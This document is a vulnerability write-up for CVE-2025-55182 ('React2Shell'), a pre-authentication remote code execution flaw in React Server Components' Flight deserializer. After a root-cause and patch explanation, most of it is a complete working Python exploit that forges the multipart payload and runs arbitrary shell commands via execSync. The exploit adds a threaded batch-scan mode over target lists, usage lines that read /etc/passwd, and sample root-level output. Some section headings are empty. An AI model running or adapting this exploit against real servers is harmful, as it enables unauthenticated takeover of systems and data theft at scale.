#Summary

React2Shell (CVE-2025-55182) is a pre-authentication remote code execution vulnerability in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0, affecting the react-server-dom-webpack, react-server-dom-turbopack, and react-server-dom-parcel packages. The vulnerability exists in the Flight Reply deserialization path and allows an unauthenticated attacker to achieve arbitrary code execution with a single HTTP POST request. CVSS score: 10.0 (CRITICAL).

#Am I affected?

#How to check

Run npm list react react-dom react-server-dom-webpack in your application directory and check the installed version.

Version Status
19.0.0 or earlier 19.1.x (before 19.1.2) VULNERABLE
19.2.0 VULNERABLE
19.0.1 or later PATCHED
19.1.2 or later PATCHED
19.2.1 or later PATCHED

#Fix and mitigation

#Root cause analysis

#Three composing defects

React Server Components use a wire format called "Flight" for communication between client and server. When a browser calls a Server Function, the arguments are serialized and sent to the server, which deserializes them using decodeReply() from the react-server package (re-exported by the bundler bindings).

The Flight deserializer is not a JSON parser. Each form field is a "model" where strings beginning with $ are directives:

Three missing ownership checks compose into RCE:

1. Unguarded property-path traversal

The getOutlinedModel() function walks an attacker-supplied property path with bracket access:

let value = chunk.value;
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];
}

Bracket access traverses the entire prototype chain. References like $1:__proto__:then and $1:constructor:constructor are therefore legal.

2. Chunk back-pointer stored in a string-named property

Chunks are created with _response as a plain, string-addressable property:

function Chunk(status, value, reason, response) {
  this.status = status;
  this.value = value;
  this.reason = reason;
  this._response = response;
}
Chunk.prototype = Object.create(Promise.prototype);

Because Chunk.prototype inherits from Promise.prototype, a Chunk instance's .constructor is Promise, and Promise.constructor is the JavaScript Function constructor. A forged plain object carrying the right fields is indistinguishable from a real chunk.

3. Unguarded method call on forged Response

The $B (Blob) branch executes:

const backingEntry = response._formData.get(response._prefix + id);

With _formData.get pointing at the Function constructor and _prefix set to attacker source, this becomes Function(source + "4919"), where 4919 is the decimal equivalent of hex 1337.

#How the exploit works

The attacker sends a POST with a multipart/form-data body containing two fields:

Field 1: The literal string "$@0" (quotes included). When parsed as a Flight model, this resolves to the raw Chunk object for id 0 - a genuine Chunk instance to harvest inherited members from.

Field 0: A JSON object that forges both a chunk and the Response it should be deserialized against:

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "<JAVASCRIPT SOURCE>//",
    "_formData": {"get": "$1:constructor:constructor"}
  }
}

When deserialization reaches this object:

  1. The then property borrows the real Chunk.prototype.then via the unguarded __proto__ walk
  2. React treats the object as a thenable and drives it through initializeModelChunk()
  3. During initialization, _formData.get() is called with the gadget source as an argument
  4. Since _formData.get points to the Function constructor, the source is compiled into a function
  5. The compiled function is placed on the inner model's then property
  6. The promise machinery invokes it as fn(resolve, reject), where arguments[0] is the live resolve callback
  7. The gadget calls arguments[0] with the command's stdout, settling the promise and returning the output in the HTTP response

The gadget runs in global scope (CommonJS require is undefined), so it reaches child_process through process.mainModule.require:

arguments[0]("<SENTINEL>:" + process.mainModule.require('child_process').execSync("<COMMAND>").toString());//

The // comment prevents syntax errors from the decimal digits appended by the $B1337 branch.

#Patch diff

#What the fix does

The patch closes all three defects:

  1. Ownership check on property traversal: Every property hop in getOutlinedModel() and fulfillReference() is guarded with hasOwnProperty(), skipping inherited properties rather than following them.

  2. Response back-pointer moved behind a Symbol: The _response field is deleted and replaced with a Symbol()-keyed slot that JSON strings can never name. The Response is passed as an explicit parameter rather than extracted from the chunk.

  3. Hardening of the busboy stream: Exception handling is wrapped to destroy the stream cleanly instead of throwing.

#Proof of concept

#exploit.py - React2Shell RCE PoC

#!/usr/bin/env python3
"""
CVE-2025-55182 - React Server Components "Flight" Reply deserialization RCE ("React2Shell")
Affected: react-server-dom-webpack / -turbopack / -parcel 19.0.0, 19.1.0-19.1.1, 19.2.0
          (the deserializer lives in the react-server package they re-export)
Type: Insecure deserialization (CWE-502) -> unauthenticated remote code execution

Any HTTP route that feeds a request body into decodeReply()/decodeAction() is a sink.
In Next.js App Router that is every route reached by a POST with a Next-Action header,
before authentication. A single multipart/form-data POST with two forged fields walks
the Flight model's prototype chain to a handle on the Function constructor, forges a
Response object React will trust, and compiles attacker source into a function the
promise machinery invokes. Calling the supplied resolve callback returns command output
in band, in the same HTTP response.

Usage:
  python exploit.py --host 127.0.0.1 --port 8080
  python exploit.py --host 10.0.0.5 --port 3000 --command "uname -a"
  python exploit.py --host https://app.example.com/some/route --command "id"
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import json
import secrets
import socket
import ssl
import sys
from urllib.parse import urlparse

CVE_ID    = "CVE-2025-55182"
VULN_TYPE = "RCE"


def header(host, port):
    print("\n%s" % ("=" * 60))
    print("  ALIM EXPLOIT  %s" % CVE_ID)
    print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
    print("%s\n" % ("=" * 60))


def step(n, msg):
    print("[STEP %d] %s" % (n, msg))


def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n%s" % ("=" * 60))
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: %s" % evidence)
    print("%s\n" % ("=" * 60))
    sys.exit(0 if success else 1)


# --- Flight Reply payload construction -------------------------------------

def build_payload(command, sentinel):
    """
    Build the two-field multipart/form-data body that drives the Flight
    deserializer to Function(attackerSource).

    Field "1" = the literal string "$@0" (quotes included): a JSON model whose
      value is the reference directive $@0, resolving to the raw Chunk object for
      id 0 - a genuine Chunk instance to harvest inherited members from.

    Field "0" = a JSON object forging a chunk plus the Response it is deserialized
      against:
        then     "$1:__proto__:then"          borrow Chunk.prototype.then (thenable)
        status   "resolved_model"             take the needs-initializing branch
        reason   -1                            sentinel for "no root reference"
        value    "{\"then\":\"$B1337\"}"       inner model parsed on initialization
        _response { _prefix, _formData.get }   forged Response
          _formData.get = "$1:constructor:constructor"  -> the Function constructor
          _prefix       = <JS SOURCE>          compiled by Function(source + "4919")

    The $B1337 branch runs response._formData.get(response._prefix + 4919), i.e.
    Function(source + "4919"); "1337" is hex so decimal 4919 is appended. The source
    ends in // so those trailing digits fall in a comment. The compiled function is
    placed on the inner model's then and invoked as fn(resolve, reject); arguments[0]
    is the live resolve callback, so calling it settles the awaited promise and the
    endpoint serializes the string into its own HTTP 200 body.

    The command gadget runs in global scope (no CommonJS require), so we reach
    child_process through process.mainModule.require, which is a global.
    """
    gadget = (
        "arguments[0](%s + process.mainModule.require('child_process')"
        ".execSync(%s).toString());//"
    ) % (json.dumps(sentinel), json.dumps(command))

    field0 = json.dumps({
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": json.dumps({"then": "$B1337"}),
        "_response": {
            "_prefix": gadget,
            "_formData": {"get": "$1:constructor:constructor"},
        },
    })
    field1 = '"$@0"'

    boundary = "----%s" % secrets.token_hex(16)
    crlf = "\r\n"
    body = "".join([
        "--%s%s" % (boundary, crlf),
        'Content-Disposition: form-data; name="0"%s%s' % (crlf, crlf),
        field0, crlf,
        "--%s%s" % (boundary, crlf),
        'Content-Disposition: form-data; name="1"%s%s' % (crlf, crlf),
        field1, crlf,
        "--%s--%s" % (boundary, crlf),
    ]).encode("utf-8")
    content_type = "multipart/form-data; boundary=%s" % boundary
    return body, content_type


def _http_post(host, port, use_tls, path, body, content_type, timeout=15.0):
    """Minimal raw HTTP/1.1 POST over a socket. Returns (status_code, body_text)."""
    if not path:
        path = "/"
    # A POST carrying a Next-Action header is what routes into the server-action
    # handler on a real Next.js App Router target, before any application code.
    req_lines = [
        "POST %s HTTP/1.1" % path,
        "Host: %s" % host,
        "Content-Type: %s" % content_type,
        "Content-Length: %d" % len(body),
        "Accept: text/x-component",
        "Next-Action: %s" % secrets.token_hex(10),
        "Connection: close",
    ]
    raw = ("\r\n".join(req_lines) + "\r\n\r\n").encode("utf-8") + body

    sock = socket.create_connection((host, port), timeout=timeout)
    try:
        if use_tls:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            sock = ctx.wrap_socket(sock, server_hostname=host)
        sock.settimeout(timeout)
        sock.sendall(raw)
        chunks = []
        while True:
            try:
                part = sock.recv(65536)
            except socket.timeout:
                break
            if not part:
                break
            chunks.append(part)
    finally:
        try:
            sock.close()
        except Exception:
            pass

    data = b"".join(chunks)
    head, _, payload = data.partition(b"\r\n\r\n")
    status = 0
    try:
        status = int(head.split(b"\r\n", 1)[0].split(b" ")[1])
    except (IndexError, ValueError):
        status = 0
    # Decode body; handle chunked transfer if present.
    header_text = head.decode("latin-1", "replace").lower()
    if "transfer-encoding: chunked" in header_text:
        payload = _dechunk(payload)
    return status, payload.decode("utf-8", "replace")


def _dechunk(payload):
    out = []
    rest = payload
    while rest:
        line, sep, remainder = rest.partition(b"\r\n")
        if not sep:
            break
        try:
            size = int(line.strip(), 16)
        except ValueError:
            break
        if size == 0:
            break
        out.append(remainder[:size])
        rest = remainder[size:]
        if rest[:2] == b"\r\n":
            rest = rest[2:]
    return b"".join(out)


# --- success evaluation -----------------------------------------------------

# Signatures of the 19.1.2+ patched control: the hasOwnProperty guard skips the
# __proto__/constructor hops, so the forged object resolves as inert reflected
# data. These markers appear in the reflection (including our own source echoed
# back inside _prefix), so a sentinel alone would false-positive on a patched
# target - we require these to be ABSENT.
_PATCHED_MARKERS = ("then: null", "_response", "[circular", "_formdata")


def _evaluate(status, text, sentinel):
    """Return (success, output_or_None). Pure; no printing."""
    low = text.lower()
    patched = any(m in low for m in _PATCHED_MARKERS)
    if sentinel in text and not patched:
        # On success the whole decoded arg IS the resolved string: sentinel + stdout.
        idx = text.find(sentinel)
        tail = text[idx + len(sentinel):]
        # The value is double-escaped (Node's util.inspect, then JSON.stringify),
        # so a real newline shows up as a run of backslashes before an 'n'. Cut at
        # the first such escaped newline and strip the trailing quoting artifacts.
        for term in ("\\\\n", "\\n"):
            if term in tail:
                tail = tail.split(term)[0]
                break
        output = tail.strip().strip("'\"").rstrip("\\").strip()
        return True, output
    return False, None


def _try_exploit(host, port, use_tls=False, path="/", command="id"):
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints/exits."""
    sentinel = "poc_%s:" % secrets.token_hex(8)
    try:
        body, ct = build_payload(command, sentinel)
        status, text = _http_post(host, port, use_tls, path, body, ct, timeout=12.0)
    except Exception as e:
        return False, "unreachable (%s)" % e.__class__.__name__
    ok, output = _evaluate(status, text, sentinel)
    if ok:
        return True, "RCE - '%s' => %s" % (command, (output or "")[:80])
    if any(m in text.lower() for m in _PATCHED_MARKERS):
        return False, "not vulnerable (patched - guard skipped the hops)"
    return False, "no execution evidence (HTTP %s)" % status


def _parse_target(line, default_port, default_path="/"):
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, command="id"):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n%s" % ("=" * 60))
    print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
    print("%s\n" % ("=" * 60))

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = "%s://%s:%s%s" % ("https" if use_tls else "http", host, port,
                                  path if path != "/" else "")
        ok, evidence = _try_exploit(host, port, use_tls, path, command)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  %s %s - %s: %s" % (
                "[+]" if ok else "[-]", label,
                "Exploited" if ok else "Not vulnerable", evidence))
            if ok:
                success_count += 1

    total = len(targets)
    print("\n%s" % ("=" * 60))
    print("  SCAN COMPLETE  %d exploited / %d not vulnerable  (%d total)" % (
        success_count, total - success_count, total))
    print("%s\n" % ("=" * 60))
    sys.exit(0 if success_count > 0 else 1)


def exploit(host, port, use_tls, path, command):
    header(host, port)
    sentinel = "poc_%s:" % secrets.token_hex(8)

    step(1, "Building forged Flight Reply payload (2 multipart fields)")
    body, content_type = build_payload(command, sentinel)
    print("        field 1 = \"$@0\"  (seeds the walk with a genuine Chunk)")
    print("        field 0 = forged chunk + forged Response (_formData.get -> Function)")
    print("        gadget  = process.mainModule.require('child_process').execSync(%r)" % command)

    step(2, "POSTing to %s://%s:%s%s" % ("https" if use_tls else "http", host, port, path))
    try:
        status, text = _http_post(host, port, use_tls, path, body, content_type)
    except Exception as e:
        section("TRANSPORT ERROR", "%s: %s" % (e.__class__.__name__, e))
        done(False, "could not reach target: %s" % e.__class__.__name__)

    step(3, "Evaluating response (HTTP %s)" % status)
    ok, output = _evaluate(status, text, sentinel)

    if ok:
        section("COMMAND OUTPUT", output or "(empty)")
        done(True, "RCE confirmed - command '%s' output: %s" % (command, (output or "").strip()))

    # Not exploited: explain which failure mode this is.
    section("SERVER RESPONSE", text[:800])
    if any(m in text.lower() for m in _PATCHED_MARKERS):
        done(False, "target patched (19.1.2+): guard skipped the prototype hops, "
                    "payload resolved as inert reflected data")
    if "is not valid json" in text.lower():
        done(False, "field 1 lost its literal quotes in transit (request-construction bug)")
    done(False, "payload sent but no execution evidence in response (HTTP %s)" % status)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/route)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=3000, help="Default port (default: 3000)")
    parser.add_argument("--command", default="id", help="Command to execute on the target (default: id)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, command=args.command)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.command)

#Usage

# Default target on port 3000 (runs 'id')
python exploit.py --host 127.0.0.1 --port 3000

# Run a specific command
python exploit.py --host 10.0.0.5 --port 3000 --command "uname -a"

# Full URL with custom route
python exploit.py --host https://app.example.com/some/route --command "cat /etc/passwd"

# Batch scan from a file (one target per line)
python exploit.py --list targets.txt --workers 20 --command "id"

#Expected output - vulnerable target

============================================================
  ALIM EXPLOIT  CVE-2025-55182
  Type: RCE  |  Target: 127.0.0.1:8210
============================================================

[STEP 1] Building forged Flight Reply payload (2 multipart fields)
        field 1 = "$@0"  (seeds the walk with a genuine Chunk)
        field 0 = forged chunk + forged Response (_formData.get -> Function)
        gadget  = process.mainModule.require('child_process').execSync('id')
[STEP 2] POSTing to http://127.0.0.1:8210/
[STEP 3] Evaluating response (HTTP 200)

--- COMMAND OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
---


============================================================
  RESULT  : SUCCESS
  EVIDENCE: RCE confirmed - command 'id' output: uid=0(root) gid=0(root) groups=0(root)
============================================================

#Expected output - patched target

============================================================
  ALIM EXPLOIT  CVE-2025-55182
  Type: RCE  |  Target: 127.0.0.1:8211
============================================================

[STEP 1] Building forged Flight Reply payload (2 multipart fields)
        field 1 = "$@0"  (seeds the walk with a genuine Chunk)
        field 0 = forged chunk + forged Response (_formData.get -> Function)
        gadget  = process.mainModule.require('child_process').execSync('id')
[STEP 2] POSTing to http://127.0.0.1:8211/
[STEP 3] Evaluating response (HTTP 200)

--- SERVER RESPONSE ---
{"ok":true,"args":"<ref *1> { then: null, status: 'resolved_model', reason: -1, value: '{\"then\": \"$B1337\"}', _response: { _prefix: `...`, _formData: { get: [Circular *1] } } }"}
---


============================================================
  RESULT  : FAILURE
  EVIDENCE: target patched (19.1.2+): guard skipped the prototype hops, payload resolved as inert reflected data
============================================================

#Exploitation notes

#Preconditions

#Reliability

The exploit is deterministic and reaches code execution in a single unauthenticated HTTP POST request. There is no timing sensitivity, encoding complexity, or rate limiting to work around. The compiled function is invoked synchronously as part of promise initialization, and command output returns in the same HTTP response.

#Impact

Unauthenticated remote code execution as the Node.js process user. Complete system compromise is typical, as the application process often runs with elevated privileges or can escalate within its container.

#Chaining potential

The vulnerability exists in the deserialization path before action dispatch, meaning:

#References